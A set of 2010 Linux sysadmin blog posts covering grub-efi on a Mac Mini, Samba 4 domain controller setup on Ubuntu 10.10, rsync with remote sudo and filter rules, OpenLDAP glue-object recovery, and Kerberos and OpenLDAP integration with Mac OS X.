Ubuntu still is trying to remove grub-efi everytime a new kernel arrives. I have a Mac Mini without a display, so grub-pc is useless for me, so how do I prevent this grub-efi removal all the time?

Simple solution, just tell apt you also want to install grub-efi, regardless of the availability of a new version:

$ sudo apt-get install linux-generic-pae grub-efi
Reading package lists... Done
Building dependency tree       
Reading state information... Done
grub-efi is already the newest version.
The following extra packages will be installed:
  linux-image-2.6.35-22-generic-pae linux-image-generic-pae
Suggested packages:
  fdutils linux-doc-2.6.35 linux-source-2.6.35 linux-tools
Recommended packages:
  grub-pc grub lilo
The following NEW packages will be installed:
  linux-image-2.6.35-22-generic-pae
The following packages will be upgraded:
  linux-generic-pae linux-image-generic-pae
2 upgraded, 1 newly installed, 0 to remove and 3 not upgraded.
Need to get 34.1MB of archives.
After this operation, 107MB of additional disk space will be used.
Do you want to continue [Y/n]?

And voila, grub-pc is a suggested package and no longer forced upon me! Thanks go out to Frank Groeneveld for suggesting the solution!

Installing Samba 4 on Ubuntu Maverick (10.10)

2010-09-30T10:54:00.000-07:00

Samba 4 is currently able to serve as a active directory domain controller for both Windows XP and Windows 7 (as tested by me) and probably for other Windows versions too. With Ubuntu 10.10 there finally is a recent enough version to make use of all the current Samba 4 functionality, however some issues still remain. This post will provide a short guide to setting up Samba 4 on your Ubuntu Maverick system, but it won't go into more advanced Samba topics. At first I wanted this to be a full step-by-step guide, however I can't find the time to complete it as such (I started writing when Maverick was in beta). I welcome comments adding more details and I hope everyone will be able to follow this howto.

Let's start by updating the system.

$ sudo apt-get update

Next add a PPA which includes a more recent Bind 9 version. I believe this is mainly needed so your Windows clients can send DNS updates to the domain controller, but I can't say I thoroughly tested with the Ubuntu Maverick distributed version.

Personally I used bind9 from Hauke Lampe's PPA (BIND 9 Updates : Hauke Lampe).

Install samba4 and bind9:

$ sudo apt-get install samba4 samba4-clients bind9

Move existing smb.conf:

$ sudo mv /etc/samba/smb.conf{,.old}

Create a samba 4 config and provision the database:

$ sudo LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/share/samba/setup/provision --realm=samdom.example.com --domain=SAMDOM --adminpass=SOMEPASSWORD --server-role='domain controller'

You might be wondering what this LD_PRELOAD is about, well it's needed because some stuff is missing the link to the dcerpc library.

Now we want to start samba, there's another issue ahead. The samba4 init script doesn't check for the existence of the samba directory in /var/run, so let's add that ourselves.

# /etc/init.d/samba4
...
  log_daemon_msg "Starting Samba 4 daemon" "samba"

  if [ ! -d $(dirname $SAMBAPID) ]; then
   mkdir -p $(dirname $SAMBAPID)
  fi

  if !...

We're still not there yet... Remember the missing library link? It will also return while running Samba, so let's work around it by creating local versions of the samba programs that will load the library:

Create /usr/local/sbin/samba:

#!/bin/sh
LD_PRELOAD=/usr/lib/libdcerpc.so.0.0.1 /usr/sbin/$(basename $0)

Now symlink samba_dnsupdate and samba_spnupdate to the same file:

$ sudo ln -s /usr/local/sbin/samba{,_dnsupdate}
$ sudo ln -s /usr/local/sbin/samba{,_spnupdate}

Now start samba:

$ sudo /etc/init.d/samba4 start

Let's do a quick test if it's working:

$ smbclient -UAdministrator -Llocalhost
Password for [SAMDOM\Administrator]:

 Sharename       Type       Comment
 ---------       ----       -------
 netlogon        Disk       
 sysvol          Disk       
 IPC$            IPC        IPC Service (Samba 4.0.0alpha12-GIT-UNKNOWN)
 ADMIN$          Disk       DISK Service (Samba 4.0.0alpha12-GIT-UNKNOWN)
REWRITE: list servers not implemented

Seems to be working!

Now let's get DNS working too. Start by editing named.conf.local:

// /etc/bind/named.conf.local
...
//include "/etc/bind/zones.rfc1918";

include "/var/lib/samba/private/named.conf";

Thought we were done? Think again! AppArmor is protecting our samba4 files from bind, I'd rather have bind read them though...

# /etc/apparmor.d/usr.sbin.named
...
/var/lib/samba/private/* rw,
/var/lib/samba/private/dns/* rw,
}

Reload AppArmor profiles and restart bind:

$ sudo /etc/init.d/apparmor reload
$ sudo /etc/init.d/bind9 restart

Bind should now start without any issues. Next is to actually use bind for DNS:

# /etc/resolv.conf
nameserver 127.0.0.1

You can verify it's working by querying dns for kerberos:

$ host -t SRV _kerberos._udp.samdom.example.com

This should return an SRV record, if not, something's broken!

Now let's move the Kerberos config into place:

$ sudo cp /var/lib/samba/private/krb5.conf /etc/

You can verify it's working by installing krb5-user and doing a kinit Administrator, but since Kerberos comes out of the box with samba, I'm assuming it's working (it always did for me).

If you chose to add a PPA with a recent Bind version, you can enable Kerberized DNS updates by pointing named to the correct principal and keytab. More details on this can be found on the Samba 4 howto, I will add my own details here later.

You should now be able to administer your Samba 4 domain controller using the microsoft utilities for windows server management, the Samba net tool or direct LDAP queries.

Updates

dec 8 2010, 22:56: Added missing apparmor policy changes

Rsync and remote sudo

2010-09-06T12:56:00.000-07:00

Running rsync with superuser privileges can be hard at times, but here's an easy solution works on Ubuntu 10.04 (some other solutions failed to work):

$  echo "password" | ssh sudo -S -v
$ sudo rsync -a -e ssh --rsync-path="sudo rsync"

The first line will touch the timestamp for sudo, the second line will really sync. Keep in mind that this doesn't take care of credentials for ssh, so you will need to take care of this using keys, agents or some external authentication mechanism like Kerberos.

rsync with --delete-excluded

2010-08-26T04:04:00.000-07:00

While setting up daily (offsite) automated backups I ran into a few issues. First of all backups didn't complete before people were getting to work again, so I had to manually stop them and start them at a lower transferrate. This is easily done by passing rsync the --bwlimit=<kbps> option.

Next I often want to sync just part of the tree, so I would add --exclude=/<folder> to the options to exclude all folders I don't want. However, I also exclude some files and I use --delete, which has the nasty side-effect of not deleting the excluded files on the receiving end (if they were deleted on the sender), thus leaving non-empty folders on the receiver and generating errors because the non-empty folders aren't deleted. There's an option that 'fixes' this, and that's --delete-excluded. This option will delete excluded files on the receiving end. You can guess that combined with my --exclude=/<folder> this would result in deleting an entire branch of the tree that should not be removed... The solution is to specify that the exclude is a receiving side exclude, because excludes are server side exclude by default when --delete-excluded is also provided. This can be done by using a filter rule instead of an exclude rule, resulting in the following option: --filter=-r_/<folder>. The - is to specify it's an exclude, the r specifies it's for the receiving side and the _ seperates the modifiers from the path (space is also allowed, but using an underscore prevents the need for quoting or even double-quoting). Now there's one nasty issue remaining: the excluded folder will still be parsed on the sender, so let's make it an exclude for both sender and receiver: --filter=-rs_/<folder>.

Using the above it's now possible to exclude files from an rsync transfer, without removing them on the receiving side, but with deletion of exclude files on the receiving end. In short: rsync --exclude='*.tmp' --filter='-rs_/important/' --delete --delete-excluded <source> <dest> will leave the important folder alone on the destination, but will remove all .tmp files in the destination.

OpenLDAP default search base

2010-06-21T06:46:00.000-07:00

Although it's possible to specify a search base on the client when doing an ldapsearch, it's often nicer if the server can have it set correctly already. I noticed there's an olcDefaultSearchBase attribute for olcDatabase entries, however you can only use it on entry -1, the frontend database. This makes sense, because for one LDAP server instance you can only have a single default search base.

The following LDIF will set the default search base to dc=denc,dc=nl:

dn: olcDatabase={-1}frontend,cn=config
changetype: modify
add: olcDefaultSearchBase
olcDefaultSearchBase: dc=denc,dc=nl

Works like a charm for me!

Recovering from glue objects in OpenLDAP

2010-06-17T02:07:00.000-07:00

After some syncing issues and a few transfers of /var/lib/ldap between servers, our company LDAP database had lost it's root organization entry. Doing a slapcat resulted in the entry listed with objectClass glue and all of it's attributes gone. However, this was the same at all of our servers.

The first thing that came to mind to fix this issue was doing an ldapmodify on the entry, however ldapmodify would return ldap_modify: No such object (32). The logical next step would then be to add the object, since ldapmodify complains it's not there... However, that would result in ldap_add: Already exists (68)! Amazing, one program telling me the object can't be modified because it's not there, the other telling me I can't add it because it exists.

I did some searching, but couldn't find a proper solution or anyone with a similar issue. I could of course start from scratch, but that would destroy the sync status, modified timestamp, modifier's name, create timestamp and creators name and perhaps even more, so that wouldn't really be an option in my humble opinion.

During my (re)search I did come across slapadd. slapadd can be used to do offline database edits (at least additions to the database). So I stopped slapd, and fired up slapadd and entered my LDIF... Same issue! The entry exists, so it can't be added. slapadd doesn't seem to support modify either (I'm not complaining, just stating the facts), so I had to figure out something else...

Suddenly I had it all figured out. slapadd and slapcat are similar tools in that they operate directly on the database instead of talking to slapd. Thus if you slapcat your database you can give the output back to slapadd!

# slapcat -n 1 > entries.ldif
# slapadd -n 1 -l entries.ldif

Of course this very simple code example will result in similar errors, because all your entries are already there. Besides, it would also be nice to edit the broken entry while we're at it, which will result in the following list of commands to complete it all (code assumes broken tree is database number 1, replace with your database index if it's not the first database):

# cp -ar /var/lib/ldap{,.bak}
# slapcat -n 1 > entries.ldif
# rm -r /var/lib/ldap
# mkdir -p /var/lib/ldap/bdb
This line assumes a BDB database, you can probably replace bdb with hdb if you're using HDB
Now edit entries.ldif so your entry makes sense again. Just fix the objectClass (be sure to create a correct objectClass chain, i.e. top, dcObject, organization), structuralObjectClass and attributes required by the newly set objectClasses (i.e. dc, o).
# slapadd -n 1 -l entries.ldif

Now your entry should be back again, with a proper objectClass and related attributes. If you get errors along the way, make sure there aren't more entries with attributes that aren't available in the schema files. Just remove the incorrect attributes (and probably incorrect objectClasses accompanying the attributes) from the LDIF and repeat the database delete and add steps (or remove everything earlier in the LDIF and just add the new entries using slapadd, of course!)

The last step would be to index the database. I don't know if it's required (slapd will run fine without), but before starting slapd run the following:

# slapindex -n 1

Now your LDAP tree should be back to a proper state again!

There's just one issue left... If you didn't change contextCSN attributes, slapd won't sync the entry to other servers because they will all think the entry never changed (and thus the other servers will keep the broken entry). There's an easy solution: just use ldapmodify to change an attribute and the contextCSN will update and the change will propagate to the other servers. The real fix would be to change the contextCSN for the rid of the server you're editing to the current time, however this is more prone to mistakes and the result should be the same (unless using delta syncrepl, where it is possible that only the change will get propagated.)

This was my not-so-short introduction to LDAP disaster recovery without losing contextual information. I'm hoping you enjoyed reading this post and that it helped you to recover from long-standing errors.

Kerberos SSH logins on Mac OS X

2010-06-16T00:28:00.000-07:00

As a testing step of our Kerberos / Mac OS X integration I was testing SSH using a Kerberos ticket. At first it didn't seem to work. However, SSH can easily provide some more detailed debugging information, which I could compare with debugging information from a Linux machine which would successfully login with a Kerberos ticket. Turned out GSSAPI authentication is disabled by default for SSH on Mac OS X, you can enable it by editing /etc/ssh_config:

Host *
GSSAPIAuthentication yes

or by passing the option to SSH on every connection:

$ ssh -o GSSAPIAuthentication=yes <host>

Mac OS X and OpenLDAP

2010-06-03T13:39:00.000-07:00

At work we had some issues trying to join Mac OS X machines into our Samba Windows domain. Turned out Mac OS X was doing a search with scope base and empty base, which is meant to return some information that can be used for compatibility or some global knowledge about the LDAP tree. This object is the RootDSE object. In our case that search would return nothing, instead of the descriptive entry.

After quite a while we noticed closed bug #427842 on Launchpad. The bug describes some missing access control rules that can lead to this problem. Although this bug is closed, it can still show up when migrating data from an older release, which was also the case for us. The bug also has the required ldif, which I'll copy here for future reference:

dn: olcDatabase={-1}frontend,cn=config
changetype: modify
add: olcAccess
olcAccess: to dn.base="" by * read
olcAccess: to dn.base="cn=subschema" by * read

You can feed this to ldapmodify or ldapadd (yes, ldapadd can also do modifies). A quick ldapsearch will reveal if it worked:

$ ldapsearch -x -b '' -s base

This should return an object of the OpenLDAPRootDSE objectClass (and empty distinguished name).

Now we're at it, let's add another useful gem for Mac OS X: altServer attributes. Mac OS X searches for altServer attributes in order to find other servers that should provide the same data, in case the server is down (although I don't know when this data is cached).

It's possible to add attributes to the OpenLDAPRootDSE object by creating an LDIF file and pointing the olcRootDSE attribute on the config object to the created LDIF file. Create the following file, place it at /etc/ldap/rootdse.ldif:

dn:
altServer: ldap://server2.domain.tld/dc=domain,dc=tld
altServer: ldap://server3.domain.tld/dc=domain,dc=tld

Now add the following LDIF to OpenLDAP:

dn: cn=config
changetype: modify
add: olcRootDSE
olcRootDSE: /etc/ldap/rootdse.ldif

You can add this one using ldapmodify again.

Another quick ldapsearch will verify the attributes are really there:

$ ldapsearch -x -b '' -s base "+"

This should present quite a list detailing some support, including the just added altServer attributes.

Now there's one last thing that we should add to offer our Mac OS X users (or better, ourselves as sys admins!) a more pleasant experience: an Avahi (bonjour/zeroconf) entry for our OpenLDAP server. This will make the server show up as an option in some dialogs, for instance when adding an LDAPv3 directory server for authentication or contacts. To do this, add the following service file to avahi, for instance as /etc/avahi/services/slapd.service:

<?xml version="1.0" standalone='no'?><!--*-nxml-*-->
<!DOCTYPE service-group SYSTEM "avahi-service.dtd">

<service-group>
    <name replace-wildcards="yes">%h</name>
    <service>
        <type>_ldap._tcp</type>
        <port>389</port>
        <host-name>atlas.denc.nl</host-name>
    </service>
</service-group>

The only additional step to integrating OpenLDAP even more with Mac OS X would be by adding the Apple schemas and providing OpenDirectory support using OpenLDAP on Linux. I'll probably come to that later, but one thing I'll definitely post about is authentication against our existing OpenLDAP user tree.